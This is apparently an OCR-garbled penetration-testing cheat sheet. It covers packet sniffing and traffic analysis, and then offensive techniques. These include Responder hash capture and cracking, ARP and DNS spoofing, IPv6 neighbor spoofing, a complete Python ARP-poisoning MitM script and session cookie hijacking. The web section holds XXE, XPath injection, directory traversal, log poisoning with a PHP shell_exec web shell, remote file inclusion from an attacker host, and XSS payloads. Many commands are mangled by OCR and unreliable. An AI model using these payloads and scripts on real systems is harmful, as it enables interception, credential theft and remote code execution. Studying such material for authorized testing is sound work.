tcp dst port 80 or 8080 :Packets to either TCP port

Sniff While Scanning (Can be helpful)

tcpdump —nn host <ip> :sniff a particular ip
nmap —-n —-sT <ip> :shows 3 way handshake in tcpdump
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Look for cleartext passwords while you sniff:

tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -1A
| egrep -1 -B5 'pass=|pwd=|log=]|login=|user=|username=|pw=|passw=|passwd=
|password=|pass: |user: |username: |password: |login: |pass |user '

Investigating: Files

MZ (EXE) Compilers Searchable Strings (unless attacker knows to take out)
“This program cannot be run in DOS mode” (most common)

“This program must be run under Win32”

“This program must be run under Winé64”

-sometimes malware changes exe headers, i.e. “That program must be run...”

Pcap Strings Search

ngrep —q —I /pcaps/sample.pcap “SEARCHPHRASE” :-g only headers & payload
ngrep —q —I /pcaps/sample.pcap “HTTP/1.0” :should see 1.1&2.0; 1.0 often malware
strings /pcaps/sample.pcap | grep GET :alternate search

tshark —nr /sample.pcap —-Y “http.request.method==GET” :alternate search

Traffic Analysis

Pcap Flow (Tshark)
tshark —n —-r /pcaps/sample.pcap —q —z conv, tcp :-z get stats

Filter IP & Port
tcpdump -r file.pcap -nnvvx 'dst host 192.168.2.109 and src port 2056"'

Cleartext GET Reguests
tcpdump —-r file.pcap | grep 'GET'
tcpdump -vvAlsO | grep 'GET'

Find HTTP Host Headers
tcpdump —r file.pcap | grep 'Host:'
tcpdump -vvAlsO | grep 'Host:'

Find HTTP Cookies
tcpdump —r file.pcap | grep 'Set-Cookiel|Host:|Cookie:'
tcpdump -vvAlsO | grep 'Set-Cookiel|Host:|Cookie:'

Find SSH Connections

*This one works regardless of what port the connection comes in on, because it's
getting the banner response.

tcpdump —r file.pcap 'tcpl(tcpl[l2]>>2):4] = 0x5353482D'
tcpdump 'tcepl (tcpl[l2]1>>2):4] = 0x5353482D"

Find DNS Traffic
tcpdump —-r file.pcap port 53
tcpdump -vvAsO port 53

Find FTP Traffic
tcpdump —-r file.pcap port ftp or ftp-data
tcpdump -vvAsO port ftp or ftp-data

Common Investigation Queries

Computer Information
tcpdump -r udp-icmp.pcap -nnn -t -c 200|awk '{print $2}'|cut -d. -f1,2,3,4|sort|unig -

clsort -nrlhead -n 20 :top talkers

tcpdump —-r file.pcap -e :find MAC Address

tcpdump —r file.pcap —e host <ip> :find MAC for specific IP

tcpdump -r file.pcap 'port 137 || 138 || 139 || 445' :host name using Netbios & SMB
tcpdump —r file.pcap —-v —-n port 67 or 68 :find host name using DHCP (option 12)
tcpdump -r file.pcap -vvnA port 88 host <ip> | grep 'ldap' :find host name using

Kerberos (option 12)

Windows User Account Name
tcpdump -r file.pcap —-vvnA port 88 host <ip> | grep ‘..0........ 0...’ :Kerberos
packets for host

Device Model & OS From HTTP Traffic
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1. To monitor HTTP traffic including request and response headers and message body:
tcpdump —r file.pcap -A -tttt 'tcp port http and (((ipl[2:2] - ((ip[0]&0xf)<<2)) -
((tcp[l2]&0xf0)>>2)) != 0)"

2. To monitor HTTP traffic including request and response headers and message body from
a particular source:

tcpdump —r file.pcap -A -tttt 'src example.com and tcp port 80 and (((ipl[2:2] -
((ip[0]&0xf)<<2)) - ((tcpl[l2]1&0xf0)>>2)) != 0)'

3. To only include HTTP requests, modify “tcp port http” to “tcp dst port http” in above
commands :

tcpdump —r file.pcap -tttt ‘tcp dst port http
tcpdump —r file.pcap —-A —tttt “tcp dst port http”

Look at HTTP(S) Traffic for a Single Device
tcpdump —r file.pcap -tttt ‘tcp port https’ or ‘tcp port http’ and ‘host <infected ip>’

tcpdump —n —r file.pcap —-tttt ‘tcp port https and (tcpl ((tcpl[l2] & 0xf0) >> 2)] = 0x16)’
:just SSL handshake

Look for Downloaded Files using tcpdump
tcpdump —r file.pcap -vvA | grep 'This program'

Look for Downloaded Files using ngrep
ngrep -1 exercise.pcap -gt 'This program'

Look for downloaded files using bro/zeke
bro —r /pcaps/sample.pcap /opt/bro/share/bro/file-extraction/extract.bro
ls —la /nsm/bro/extracted :default types - .exe .txt .jpg .png .html

Look for downloaded files using tshark
tshark -r mypcap.pcap --export-objects "http,destdir"

Look for ips not in alerts
tcpdump —r file.pcap ‘tcp port https’ or ‘tcp port http’ and ‘host <infected ip>’

Find FTP Traffic
tcpdump —-r file.pcap —-tttt port ftp or ftp-data
tcpdump —r file.pcap -vvAsO —-tttt port ftp or ftp-data

Pulling a sha-256 to check if files are infected:
Powershell: Get-FileHash .\<file> -Algorithm SHA256
Linux info: file malware.exe

Linux: shasum -a 256 malware.exe
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MitM / Session Hijacking

Responder

cd /opt/responder/ :

sudo responder -I ethO0 -I <ip> :launch Responder

On Windows VM navigate to non existent share

In Responder, NBT-NS, LLMNR, NTLMv2-SSP user/hash, LLMNR, NBT-NS,LLMNR, NTLMvZ2
user/hash

Crack password:
cd logs/
john SMB-NTLMv2-SSP-10.10.0.1.txt :Crack the Responder hash

Responder (again):
sudo rm /opt/responder/Responder.db :to repeat lab, remove captured creds

sudo rm /opt/responder/logs/* :optionally clear logs as well

Sniffing Passwords with Dsniff and MitM with arpspoof

From ouah.org

Perform

fragrouter —-I interface Bl :redirects (or enable IP forwarding)
arpspoof —t <clientip> <defaultgateway> :run arspoof on mitm sets up mitm
dnsspoof :look for dns queries to impersonate
sshmitm or webmitm :can handle older ‘encyrpted’ protocols
dsniff —t 21/tcp=ftp,23/tcp=telnet -n :specify protocols to monitor (-m=auto)

NetBIOS over TCP/IP enabled

https://www.infosecmatter.com/top-10-vulnerabilities-internal-infrastructure-pentest/

ipconfig /all :see 1f turned on
Responder :poison/replay
Inveigh :poison/replay
Impacket :poison/replay
Ntlmrelayx.py :poison/replay

ARP Poisoning with Cain and Able

From scotthelme.co.uk

Perform MitM

Open Cain, first step is to identify clients on the network

Click Sniffter tab, then click start sniffer button

Passive — wait; active — right click in empty list and hit scan MAC addresses
Decide who target, Select the APR tab at the bottom, click anywhere in the empty space
indicated and the blue plus icon at the top of the screen will be activated. This
allows you to add clients to the attack, click that.

On the left side select your target, and all on the right that appear, ok

Hit Start APR button (hard icon)

Half-routing means working on it, Full-routing means unrestricted access

Hijack Existing Sessions

Start Wireshark and capture on interface, filter ip.src==<target>

To target cookie session, filter “http.cookie && ip.src==<target>”

To see session in Wireshark, expand “Hypertext Transfer Protocol”, go to cookie
section, right click, copy wvalue

Hard part is deteriming session ID, most cases named “sess” or PHPsess”, etc.

To replay, open Firefox, use a cookie manager, find session value and copy in, refresh

ARP Poisoning +DNS Spoofing with Ettercap

From pentestmag.com

Perform MitM

sudo ettercap -G

Click Scan for Hosts (active scan), when finished Hosts menu/Host List
Click “Add to Target” button (s)

Click Mitm menu / Arp Poisoning / Sniff Remote Connection / ok

Start menu / Start Sniffing
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*For hijacking refer to earlier Cain & Able Second section on hijacking sessions

DNS Spoofing After Establishing MitM
nano /usr/share/ettercap/etter.dns
add lines such as microsoft.com A 107.170.40.56 to point Microsoft.com to linux.com

sudo ettercap -T -Q -i eth2 -P dns spoof -M arp // //

-T: Specifies the use of the text-based interface, -g: Runs commands in guiet mode, -P
dns_spoof: Specifies the use of the dns spoof plug-in, -M arp: Initiates a MITM ARP
poisoning attack to intercept packets between hosts, // //: Specifies the entire
network as the targets

SpiderLabs Responder

Answer stray LLMNR, NBT-NS, DNS/MDNS, Proxy requests.
MitM attacks include HTTP, HTTPS, SQL Server, Kerberos, FTP, IMAP, SMTP, DNS, LDAP. It
can also server up malicious .exe and force downgrade for LANMAN (easier to crack).

./Responder.py [options]
./Responder.py -I eth0 —wrf

--version show program's version number and exit

-h, --help show this help message and exit

-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.

-1 eth0O, —--interface=ethO Network interface to use

-i What IP to tell victims to connect to for LLMNR response

-b, --basic Return a Basic HTTP authentication. Default: NTLM

-r, —--wredir Enable answers for netbios wredir suffix queries.

Answering to wredir will likely break stuff on the
network. Default: False

-d, —--NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: False

-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.

-w, ——-wpad Start the WPAD rogue proxy server. Default value is
False

—-u UPSTREAM PROXY, --upstream-proxy=UPSTREAM PROXY

Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)

-F, —--ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False

—-—1m Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False

-v, —--verbose Increase verbosity.

Responsder LLMNR MitM Example (-i)

sudo su —
cd /opt/Responder/
./Responder.py —-I eth0 —-i <your-ip>

Once you get a hit, try to crack he hash with john
cd logs/ :/opt/Responder/logs
john —format=netntlmv2 ./SMB-NTLMv2-ssP-ip.txt:crack the hash(es) we just collected

Spoofing IPv6 gateways

thc-ipv6 attacking framework :most common
ipv6-toolkit :S1i6

Chiron

Reference

thc-ipv6 tools

parasite6: icmp neighbor solicitation/advertisement spoofer, puts you as MitM
fake router6: announce yourself as router on the network w/highest priority
flood router6: flood target w/random router advertisements

flood advertise6: flood target w/random neighbor advertisements

scan6: IPv6 scanning tool
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MitM at Local Link (IPv6)

1. Send spoofed Neighbor Solicitations (NS) to find the MAC addresses of your target.
2. Respond to NS with spoofed Neighbor Advertisements (NA) with the “Override Flag” and

the “Solicited Flag” set.

3. Send unsolicited NA with the “Override Flag” at regular time intervals (e.g. 2 to 5

sec) .

1. Fake Neighbor Solicitation Messages

./chiron local link.py vboxnetO -neighsol -s fe80::800:27ff:fe00:0 -d
f£f02::1:££29:bfb0 —-tm 33:33:£ff:29:bf:b0 -ta fe80::a00:27ff:£fe29:bfb0
*ff02::1:£f£29:bfb0=solicited node multicast addr; 33:33:ff:29:bf:b0=corresponding
Ethernet multicast addr.; £fe80::a00:27ff:fe29:bfb0=target addr we are looking for
multicast

./fake_solicitate6 vboxnet0O fe80::200:27ff:fe29:bfb0
££f02::1:££f29:bfb0 0a:00:27:00:00:00
*02:00:27:00:00:00=0our MAC

Spoofing Neighbor Advertisements Using Scapy

>>> ether=Ether (dst="33:33:00:00:00:01")

>>> ipv6=IPv6 (dst="£f£f02::1")

>>> na=ICMPv6ND NA (tgt="2a03:2149:8008:2901::5", R=0, S=0, O=1)
>>> 11a=ICMPv6NDOptDstLLAddr (11laddr="00:24:54:ba:al:97")

>>> packet=ether/ipv6/na/lla

>>> sendp (packet, loop=1,inter=3)

*note nping preferable to scapy

2. Fake Neighbor Advertisement Messages

./chiron local link.py vboxnetO -neighadv -d fdf3:f0c0:2567:7fe4:a00:27ff:fe74:ddaa —-ta

fdf3:£0c0:2567:7fed:7cca:db5:5666:cded4d -r -o -sol
*-d is set override flag;

[thc-ipv6-2.5] fake advertise6

3. Respond with Spoofed Neighbor Advertisements to Neighbor Soliciatations (DoS/MitM)

./parasite6 vboxnet0 0a:00:27:00:00:00 -1 -R
Remember to enable routing (ip_forwarding), you will denial service otherwise!
=> echo 1 > /proc/sys/net/ipvé6/conf/all/forwarding

https://t.me/learningnets
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MitM: Scapy

Quick Notes

Note that nping preferable to scapy, nping autofills in, in the event you don’t craft
scapy packets quite correctly. Typically need to start scapy with sudo.

Sniffing Packets
To sniff using Berkley Packet Filters:

>>> packets = sniff(filter="host
1.1.1.1")

Sniffing using counts:

>>> packets = sniff (count=100)
Reading packets from a pcap:

>>> packets = rdpcap("filename.pcap")

Writing packets to a pcap:
>>> wrpcap ("filename.pcap", packets)

Scapy Basics

Launch: sudo scapy *requires root privs to sniff or send packets
Additionally Scapy can be imported either interactively or in a script with:
from scapy.all import *

>>> 1s() :1list supported layers
arp, ip, ipve, tcp, udp, icmp :some key layers

To view layer fields use ls(layer):

>>> 1s (IPv6)

>>> 1s (TCP)

>>> 1sc () :1list available commands
rdpcap, send, sr, sniff, wrpcap :key interact cmnds
>>> help (rdpcap) help example

Scapy Basic Packet Crafting/Viewing

Scapy works with layers. Layers are individual functions linked together with the "/"
character to construct packets. To build a basic TCP/IP packet with "data" as the
payload:

>>> packet = IP(dst="1.2.3.4")/TCP (dport=22)/"data"

Note: Scapy allows the user to craft all the way down to the ether() layer, but will
use default values if layers are omitted. To correctly pass traffic layers should be
ordered lowest to highest from left to right e.g. (ether -> IP -> TCP). Nping handles
much better though and is preferable, plus comes packaged w/nmap.

>>> packet.summary () rget a packet summary

>>> packet.show () :more packet details

Scapy Firewall

The OS complains about custom packets it doesn't send and often resets
TCP - Block outbound resets: iptables -A OUTPUT -p cp —--tcp-flags RST RST -j DROP

UDP - Block outbound ICMP port unreachables:
iptables -A OUTPUT -p ICMP --icmp-type port-unreachable -3j DROP

Scapy Example: ICMP packet with spoofed eth/ip layers

Sscapy

>>>e=Ether (src="aa:bb:cc:dd:ee:ff”, dst="ff:ee:dd:cc:bb:aa”)
>>>i=TP (src="192.16.1.1", dst="192.168.1.2")

>>>icmp=ICMP (seq=1234)

>>>frame=e/i/icmp

>>>frame :displays your frame so far
>>>wrpcap (“/tmp/icmp.pcap”, frame :write the scapy packet to pcap
>>>exit ()

Alter the pcap:this ex. Alter the ICMP seq #
r=rdpcap (“/tmp/icmp.pcap”) :read in our file to alter
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echoreq = r[0] :reference the packet number in pcap

echoreq[ICMP] .seq = 4321 ralter our value

echoreqg :verify our new packet

del echoreqg[ICMP].chksum :we must delete our checksum to recalc
wrpcap (“/tmp/icmp2.pcap”, echoreq) :write out the new pcap

tcpdump —r /tmp/icmp2.pcap -ntv :verify (including good checksum)

Scapy Example: Spoofing a reply and response and sniffing

*Open 3 terminals and sudo

First Terminal: Sniff with tcpdump
Ssudo -s
Stcpdump —ntA —I lo ‘icmp’

Second Terminal: Sniff with Scapy
$Ssudo -s

Sscapy
>>>conf.L3socket=L3RawSocket :we only need this for local loopback
>>>r=sniff (filter="icmp[0] = 8”, count=1, iface="10")

Third Terminal: Send the Spoofed Packet

$sudo -s

Sscapy

>>>conf.L3socket=L3RawSocket :we only need this for local loopback
>>>packet=IP (dst="127.0.0.1") /ICMP (type=8, code=0,1id=10,segq=100) /"INSERT MESSAGE”
>>>send (packet)

*note you will see output from tcpdump, but to see scapy you need to run r[0]
>>>request=r[0]

>>>request

>>>response=IP (dst="127.0.0.1") /ICMP (type=0, code=0,1d=10, seg=100) /"INSERT MESSAGE”
>>>send (response)

Scapy IPv4 Layer Fileds / Default Values

>>> 1s (IP)
Field Type Default Value

version : BitField = (4) ihl : BitField = (None)

tos : XByteField = (0) len : ShortField = (None)

id : ShortField = (1) flags : FlagsField = (0)

frag : BitField = (0) ttl : ByteField = (64)

proto : ByteEnumField = (0) chksum : XShortField = (None)
src : Emph = (None) dst : Emph = ('127.0.0.1")
options : PacketListField = ([1])

Scapy TCP Layer Fields / Default Values

>>> 1s (TCP)

Field Type Default Value

sport : ShortEnumField = (20) dport : ShortEnumField = (80)
seq : IntField = (0) ack : IntField = (0)

dataofs : BitField = (None) reserved : BitField = (0)
flags : FlagsField = (2) window : ShortField = (8192)
chksum : XShortField = (None) urgptr : ShortField = (0)

options : TCPOptionsField = ({})

Scapy Altering Packets

Packet layer fields are Python variables and can

be modified.

>>> packet = IP(dst="10.10.10.50")/TCP (sport=80) rexample packet
Viewing a field's value like the source port:

>>> packet.sport 80

>>> packet.sport = 443 :Setting the source port

>>> packet.sport 443

>>> packet [TCP] .dport = (1,1024) :Setting port ranges

>>> packet [TCP] .dport = [22, 80, 445] :Setting a list of ports

>>> packet [TCP].flags="SA" :Setting the TCP flags (control bits)

>>> packet [TCP].flags
18 (decimal value of CEUAPRSF bits)
>>> packet.sprintf ("$TCP.flagss")

https://t.me/learningnets
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ISAI
Note! For ambiguous fields, like "flags", you must specify the target layer (TCP).

>>> packet[IP].dst = "1.2.3.4" :Setting destination IP address (es)
>>> packet[IP].dst = "sans.org"

>>> packet[IP].dst = "1.2.3.4/16" :Using CIDR

>>> packet[IP].dst = ["1.2.3.4","2.3.4.5", "5.6.7.8"] : Multiple Destinations

OS Default TTLS
Unix TTL: 64 Windows TTL: 128 Cisco (old) TTL: 255

Sending Packets

Creating and sending a packet:

>>> packet = IP(dst="4.5.6.7",src="1.2.3.4")/ TCP(dport=80, flags="S")

>>> send (packet)

Other send functions:

sr () sends and receives without a custom ether () layer

sendp () sends with a custom ether () layer

srp () sends and receives at with a custom ether () layer

srl () sends packets without custom ether () layer and waits for first answer
srlp () sends packets with custom ether () layer and waits for first answer
Send function options:

filter = <Berkley Packet Filter>

retry = <retry count for unanswered packets>

timeout = <number of seconds to wait before giving

up>

iface = <interface to send and receive>

>>> packets = sr(packet, retry=5,timeout=1.5, iface="ethO0", filter="host 1.2.3.4 and
port 80")

Receiving and Analyzing Packets

Received packets can be stored in a variable when using a send/receive function such as
sr(), srp(), srl() srlp()

>>> packet = IP(dst="10.10.10.20")/TCP (dport=0,1024)

>>> unans, ans = sr (packet)

Received 1086 packets, got 1024 answers,remaining 0 packets

“ ”

ans” will store the answered packets:

>>> ans

<Results: TCP:1024 UDP:0 ICMP:0 Other:0>

>>> ans.summary () :To see a summary of the responses
>>> ans[15] :View specific answer in arrary

>>> ans[15][0] :view sent packet in first stream

>>> ans[15][1] :View response to first stream

>>> ans[15] [1] .sprintf ("$TCP.flags%s") :View TCP flags in 1%t response packet

Spoofing 1Pv6 Neighbor Advertisements Using Scapy (for MitM)

>>> ether=Ether (dst="33:33:00:00:00:01")

>>> ipv6=IPv6 (dst="£f£f02::1")

>>> na=ICMPv6ND_NA (tgt="2a03:2149:8008:2901::5", R=0, S=0, 0O=1)
>>> 11a=ICMPv6NDOptDstLLAddr (11laddr="00:24:54:ba:al:97")

>>> packet=ether/ipvé6/na/lla

>>> sendp (packet, loop=1,inter=3)

Scapy MitM Script

https://pastebin.com/9GpcIkxQ
from scapy.all import *
import sys

import os

import time

try:
interface = raw input (" [*] Enter Desired Interface: ")
victimIP = raw_input (" [*] Enter Victim IP: ")
gateIP = raw_input (" [*] Enter Router IP: ")
except KeyboardInterrupt:
print "\n[*] User Requested Shutdown"
print "[*] Exiting..."
sys.exit (1)

print "\n[*] Enabling IP Forwarding...\n"

50

https://t.me/learningnets


https://pastebin.com/9Gpc9kxQ

os.system("echo 1 > /proc/sys/net/ipv4/ip forward")

def get mac(IP):

conf.verb = 0
ans, unans = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = IP), timeout = 2,
iface = interface, inter = 0.1)

for snd,rcv in ans:
return rcv.sprintf (r"$Ether.src%s")

def reARP() :

print "\n[*] Restoring Targets..."

victimMAC = get mac (victimIP)

gateMAC = get mac(gatelP)

send (ARP (op = 2, pdst = gatelIP, psrc = victimIP, hwdst = "ff:ff:ff:ff:ff:££",
hwsrc = victimMAC), count = 7)

send (ARP (op = 2, pdst = victimIP, psrc = gatelP, hwdst = "ff:ff:ff:ff:£ff:££f",

hwsrc = gateMAC), count = 7)
print "[*] Disabling IP Forwarding..."
os.system("echo 0 > /proc/sys/net/ipv4/ip forward")
print "[*] Shutting Down..."
sys.exit (1)

def trick(gm, wvm):

send (ARP (op = 2, pdst = victimIP, psrc = gatelIP, hwdst= wvm))
send (ARP (op = 2, pdst = gateIP, psrc = victimIP, hwdst= gm))
def mitm() :
try:
victimMAC = get mac (victimIP)

except Exception:
os.system("echo 0 > /proc/sys/net/ipv4/ip forward")
print "[!] Couldn't Find Victim MAC Address"
print "[!] Exiting..."
sys.exit (1)
try:
gateMAC = get mac (gatelP)
except Exception:
os.system("echo 0 > /proc/sys/net/ipv4/ip forward")
print "[!] Couldn't Find Gateway MAC Address"

print "[!] Exiting..."
sys.exit (1)
print "[*] Poisoning Targets..."
while 1:
try:

trick (gateMAC, victimMAC)
time.sleep(1.5)
except KeyboardInterrupt:
reARP ()
break
mitm ()
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Web Application Attacks

Robots.txt Exclusions (Heavily used with PHP, though not common any more)

nmap —n —-script=http-robots.txt.nse <ip> -p 80 :shows robots.txt exclusions
Joomla robots.txt: www.example.com/robots.txt

Web Server Scanners

Sparta
Noisy but several tools built in

Nikto

./nikto.pl -h <ip> -p <ports> -output <file> :www.cirt.net; free; can be Nessus plugin
wikto (port of Nikto to Windows in .NET) IWWwW.sensepost.com

Dirbuster :folder enum built in to Kali

dirb http://ip /usr/share/dirb/wordlists/big.txt
uses common wordlist by default
dirbuster; (opens gui); http://ip:port/ & specify wordlist (see Gobuster for common)

Gobuster :folder enum — I like better than dirB
gobuster dir —e —u http://ip:port/ -w /usr/share/wordlists/dirb/common.txt :new

Burpe
Commercial tool, only a couple hundred a year, well worth it for pen testers
Burpe Basics Demonstrated against DVWA

Firefox / Fiddler
Sometimes it’s just easier to replay packets in FireFox dev tools / Edit and Send.

Wfuzz
python wfuzz.py -c -z file,wordlist/general/common.txt —--hc 404 http://site/FUZZ

sfuzz
sfuzz -S e07-target.allyourbases.co -p 8144 -T -f /usr/share/sfuzz/sfuzz-
sample/basic.http

Email Banner Grabbing / Login with netcat

nc —nv <ip> 25 ; HELP :netcat connect to mail server, see help
nc —nv <ip> 110 ;USER bob;PASS bob :netcat connect to mail server over 110
nc —nv <ip> 143 ;USER bob; PASS bob :netcat connect to mail server over 143

HTTP Scripting (Louis Nyffenegger) — Ways to test multiple layers of proxies

Basics

curl http://site.com/folder -vv :verbose reqg

curl http://site.com/folder?key=please -vv :pass param in url

curl http://site.com/folder?key[0]=keyskey[l]=please :pass param array in url

curl ‘http://site.com/folder?key[please]=1’ :pass param as a hash dictionary
curl ‘http://site.com/folder?key=pretty%20please’ -vv :pass param in url

curl ‘http://site.com/folder?key=pretty%2520° -vv :man ascii; %25 encodes % dbl encd
curl ‘http://site.com/folder?key==please’ -vv :pass param in url

curl ‘http://site.com/folder??key=please’ -vv :pass param in url

curl ‘http://site.com/folder?key=please%26 -vv :man ascii shows %26 = &

curl ‘http://site.com/folder; folder’ -vv :man ascii shows %26 = &

Various Parameter Techniques

curl 'http://site.com/folder?key=pleaseskey=please’ : Having the same parameter twice
in a request can trigger weird behaviour in an application, especially if
multiple levels of proxying are used.

curl http://site.com/folder —-H ‘Cookie:key=please’ :GET; pass param in cookie

curl http://site.com/folder —-H ‘Content-Type:key/please’ :GET; pass param in
Content-Type

curl http://site.com/folder -H ‘Accept-Language:key=please’ :GET; pass param

curl http://site.com/folder -H ‘X-Forwarded-For: 8.8.8.8’ :GET; pass X forward
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http://ip:port/
http://ip:port/
https://www.youtube.com/watch?v=G3hpAeoZ4ek&feature=youtu.be
http://www.edge-security.com/wfuzz.php
http://site/FUZZ

curl http://site.com/folder -H ‘X-Forwarded-Host: site.com’ :X forward host same
curl http://site.com/folder -X POST --data ‘key=please’ :POST; pass param
curl http://site.com/folder --data ‘key=pleaseskey=please’ -X GET -v
Having the same parameter twice in a request can trigger weird behaviour in an
application, especially if multiple levels of proxying are used.
curl http://site.com/folder -H ‘X-HTTP-Method-Override: POST’:can try using the X-HTTP-
Method-Override for example if something is preventing POSTs

curl http://site.com/folder -X POST --data “ :POST; empty data
curl http://site.com/folder --data ‘key=please’ -X GET -v :send POST data as a GET!!
curl ‘http://site.com/folder?key=please’ --data ‘key=please’ -X GET -v :send same

parameter both GET and POST at the same time (try to trigger weird behavior)

Uploading techniques

curl ‘http://site.com/’ --request-target ‘/folder/../folder’ OR
curl ‘http://site.com/folder../folder --path-as-is
curl ‘http://site.com/’ --request-target ‘/folder#folder’ :want #folder clientside
touch dummy.txt; curl http://site.com/pentesterlab -F “file=Q@dummy.txt” —--trace-as-
ascii - :HTTP multipart (upload file)
touch dummy.txt; curl http://site.com/pentesterlab -F “filename=Q@dummy.txt” —--trace-as-
ascii - ranother example uses filename

touch dummy.txt; curl http://site.com/pentesterlab -F
“filename=@dummy.txt;filename=../../dummy.txt” -v :1%% local file; 2" is HTTP req

XML
curl http://site.com/folder --data ‘<key><value>please</value></key> -H ‘Content-Type:
application/xml’ OR echo “<key><value>please</value></key>" > data.xml; curl

http://site.com/folder --data @data.xml --trace-ascii : XML

curl http://site.com/folder --data ‘<key><value>&lt;please&gt;</value></key> -H
‘Content-Type: application/xml’ r&lt; = “<” ; &gt; = “>” in XML

curl http://site.com/folder --data ‘<key><value>&amp;please</value></key> -H ‘Content-
Type: application/xml’ :&amp; = “&” in XML parsing

curl http://site.com/folder --data ‘<key value = “please”></key> -H ‘Content-Type:
application/xml’ :using “’ in XML parsing

curl http://site.com/folder --data “<key value = ‘\"please’></key>"” -H ‘Content-Type:
application/xml’ : <key value="[VALUE]"></key> with [VALUE] set to "please.

JSON

curl http://site.com/folder --data ‘{"key”: “please”}’ -H ‘Content-Type: application/json’

:POST req w/JSON {"key": "please"}

curl http://site.com/folder --data ‘{"key”: “please\u0022”}’ -H ‘Content-Type:

application/json’ :POST req w/JSON {"key": "[VALUE]"} with

“

[VALUE] set to please"; u0022 means u00 encodes and 22 is ascii value of

YAMI,
curl http://site.com/folder --data ‘{key: please}’ -H ‘Content-Type: application/yaml
:POST req w/YAML key: please
curl http://site.com/folder --data ‘{“key”:[“please”,”please2”]}’ -H ‘Content-Type:
application/yaml :POST reqg w/YAML array

Authentication
curl http://site.com/folder -u login:password :Basic authentication

Burpe Note

If you want to keep your footprint down modify your Burpe Javascript file so that it
doesn’t phone back home, plus helps evasion. Unpack the main burpsuite free.Jjar to
modify it.

Fingerprinting the Web Server

telnet <ip> <port> :telnet to the server
GET /HTTP/1.1 :retrieve header info
Host: putanyvalue :

Browse site, look for upload/download, authentication forms, admin section, data entry
Fl2, read source code

Actions Mapped to URLs, for example Ruby on Rails:
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/objects/ will give you a list of all the objects;

/objects/new will give you the page to create a new object;

/objects/12 will give you the object with the id 12;

/objects/12/edit will give you the page to modify the object with the id 12;

404/500 errors can also show info

XML Attacks (xPath Example)

Good to start with, common in web apps

Original: http://ip/dir/page.php?xml=<test>default</test>

Modify to: http://ip/dir/page.php?xml=<!DOCTYPE test [ <!ENTITY x SYSTEM
"file:///etc/passwd">]><test>%26x;</test>

*can use ftp or http

XPath Example

http://ip/dir/page.php?name=default’ :inserting ‘ shows xPath used
http://ip/dir/page.php?name=default' and '1'='1l :should get the same result
http://ip/dir/page.php?name=default' or '1'='0 :should get the same result
http://ip/dir/page.php?name=default' and '1'='0 :should not get any result
http://ip/dir/page.php?name=default' or '1'='1l :should get all rslts needs more
http://ip/dir/page.php?name=default' or 1=1]1%00 :needs proper enclosing, this work
http://ip/dir/page.php?name=default'$200r%201=1]/parent::*/child: :node () %00 :go up node
hierarchy

CommonSpeak? Directory Wordlists

https://www.github.com/assetnote/commonspeak?2 :uses BigQuery API > wordlist creation
https://www.reddit.com/r/bigquery/wiki/datasets:publicly available datasets

*OR just use the wordlists in SEC588 VM under /home/sec588/files/wordlists
./commonspeak?2 —--project project --credentials
~./config/gcloud/application default credentials.json routes --framework rails -1
100000 -o rails-routes.txt

./commonspeak?2 —project project —credentials
~./config/gcloud/application default credentials.json subdomains

Directory Traversal

Commands to test if susceptible to traversal (assume photo.jpg on the site)
/images/./photo.jpg: you should see the same file

/images/../photo.jpg: you should get an error

/images/../images/photo.jpg: you should see the same file again
/images/../IMAGES/photo.jpg: you should get an error (depending on the file system) or
something

*note that on Windows /images/ folder will work even if it doesn’t exist but this will
not work on Linux web servers. Try reading the html source code to find.

Test to Retrieve /etc/passwd
images/../../.. /S eSS/ /o). /etc/passwd :don’t need to know amount of ../s
http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../etc/passwd

Server Side Code Adds Suffix, Use Null Bytes to Bypass
http://domain.com/folder/page.php?file=/var/www/files/../../../../../../../../../../etc
/passwd%00%00%00%00%00%00%00%00%00%00 :wont work after PHP 5.3.4

Script to retrieve etc/passwd using linux commands or windows bash

$ wget -O - 'http://server/directories/page.php?file=../../../../../../../etc/passwd’
[...]

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[...]

File Inclusion

Local File Inclusion

http://ip/dir/page.php?page=intro.php’ radding ‘ can test for file inclusion,
sometimes can give you directory on server to test for directory traversal
http://ip/dir/page.php?page=../../../../../../../etc/shadow :in include () example
http://ip/dir/page.php?page=/var/www/fileincl/../../../../../../../../../../etc/passwd%
00%00%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4-

Remote File Inclusion
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http://ip/dir/page.php.php?page=https://assets.pentesterlab.com/test include.txt
:shows php info
http://ip/dir/page.php?page=?page=https://assets.pentesterlab.com/test include.txt%00%0

0%00%00%00%00%00%00%00%00 :remove suffix added by server, php 5.3.4-
Contaminating Log Files

nc —nv 192.168.11.35 80 :netcat to victim web server

<?php echo shell exec($ GET[‘cmd’]);?> :ends up writing to our access.log

Executing Code with Local File Inclusion Vulnerability

*execute our contaminated log file
http://192.168.11.35/addguestbook.php?name=a&comment=b&cmd=ipconfig&LANG=../../../../..
/../../xampp/apache/logs/access.log%00

Remote File Inclusion Vulnerability
http://192.168.11.35/addguestbook.php?name=as&comment=pb&LANG=http://192.168.10.5/evl.txt
:In this case the language variable was not set

nc —nlvp 80 :nc listener on 10.5 box

XSS Attacks

Check to see if susceptible to XSS

<script>alert (alert) ;</script> :simple check to see if susceptible

Example: change the url extension example.php?name=default value to
example.php?name=<script>alert (1)</script>

PutSomething<script>Here :see 1f <script> pops up
Check to see if basic filtering can be bypassed (if above doesn’t work)

<sCript>alert (test) ;</sCript> :change to example.php?name=<sCript>alert(l)</sCript>
example.php?name=<sC<script>ript>alert (1) </sCr</script>ipt>

PutSomething<script>Here :see 1f <script> pops up

<a onmouseover="alert (document.cookie) ">xxs link</a> :onmouseover,
onmouseout, onmousemove, onclick

<plaintext/onmouseover=prompt (1) > :prompt/confirm alternative to alert
<plaintext/onmouseover=confirm (1) > :prompt/confirm alternative to alert
<A HREF="http://66.102.7.147/">XSS</A> :ip vs hostname

